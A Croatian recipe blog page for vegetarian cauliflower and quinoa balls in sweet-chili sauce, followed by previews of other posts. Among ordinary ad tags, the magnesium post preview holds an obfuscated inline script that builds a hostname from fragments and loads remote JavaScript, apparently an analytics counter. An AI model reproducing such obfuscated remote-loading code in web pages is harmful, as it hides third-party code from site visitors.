VEGETARIJANSKE OKRUGLICE OD CVJETAČE I KVINOJE





Vegetarijanske okruglice od cvjetače i kvinoje 



Ove slatko-ljute vegetarijanske okruglice od cvjetače i kvinoje izuzetno su aromatične, sočne i toliko ukusne da ih rado jedu i oni koji inače nisu ljubitelji povrća. Cvjetača u kombinaciji s kuhanom kvinojom čini bazu smjese, dok krušne mrvice i jaja osiguravaju povezanu, mekanu teksturu vrlo sličnu klasičnim mesnim okruglicama.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>

Vegetarijanske okruglice od cvjetače i kvinoje 


Sastojci za šest porcija:

  • 1/3 šalice kvinoje


  • 2 pakiranja (po 280 g) smrznute rižaste cvjetače, skuhane prema uputama i ohlađene


  • 3/4 šalice krušnih mrvica


  • 1 1/2 žličice soli


  • 1 1/2 žličice češnjaka u prahu


  • 3 velika jaja


  • 2 žlice sezamova ulja


Umak


  • 1/3 šalice slatko-ljutog chili umaka


  • 2 žlice soja umaka ili tamarija (smanjenog udjela soli)


  • 2 žlice sherry octa


  • 1 šalica povrtnog temeljca


  • 2 žličice gustina


Za posluživanje


  • 1/4 šalice mladog luka, tanko narezanog


  • 1/2 žlice tostiranih sezamovih sjemenki


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Priprema:

Skuhajte kvinoju


U manjem loncu zakuhajte 2/3 šalice vode s kvinojom. Smanjite vatru, poklopite i kuhajte 15 minuta. Maknite s vatre, ostavite poklopljeno još 5 minuta, rastresite vilicom i prebacite u veliku zdjelu.


Pripremite cvjetaču


Ohlađenu cvjetaču stavite u čistu kuhinjsku krpu i dobro iscijedite višak tekućine. Dodajte je kvinoji pa umiješajte krušne mrvice, sol, češnjak u prahu i jaja.


Oblikujte okruglice


Smjesu oblikujte u oko 20 kuglica (otprilike 2 žlice po komadu) i složite ih na papir za pečenje.


Zapeći


U velikoj tavi zagrijte sezamovo ulje na srednje jakoj vatri. Dodajte kuglice i pecite ih uz okretanje dok ne porumene sa svih strana, 5–8 minuta. Izvadite na tanjur.


Pripremite umak


U istu tavu dodajte chili umak, soja umak, ocat i 3/4 šalice temeljca. Pustite da zavrije. Gustin razmutite s preostalom 1/4 šalice temeljca, ulijte u tavu i kuhajte uz miješanje dok se umak ne zgusne, oko 1 minute.


Posluživanje


Prelijte umak preko okruglica, lagano ih okrenite da se oblože. Pospite mladim lukom i sezamom. Poslužite toplo, po želji s drvenim štapićima.


Priprema unaprijed i čuvanje


Smjesa od kvinoje i cvjetače može se pripremiti dan unaprijed i čuvati u hladnjaku. Pečene okruglice čuvajte u zatvorenoj posudi do 2 dana ili ih zamrznite do 3 mjeseca.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Vegetarijanske okruglice od cvjetače i kvinoje


Pripremila: Ivana Matas 



Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više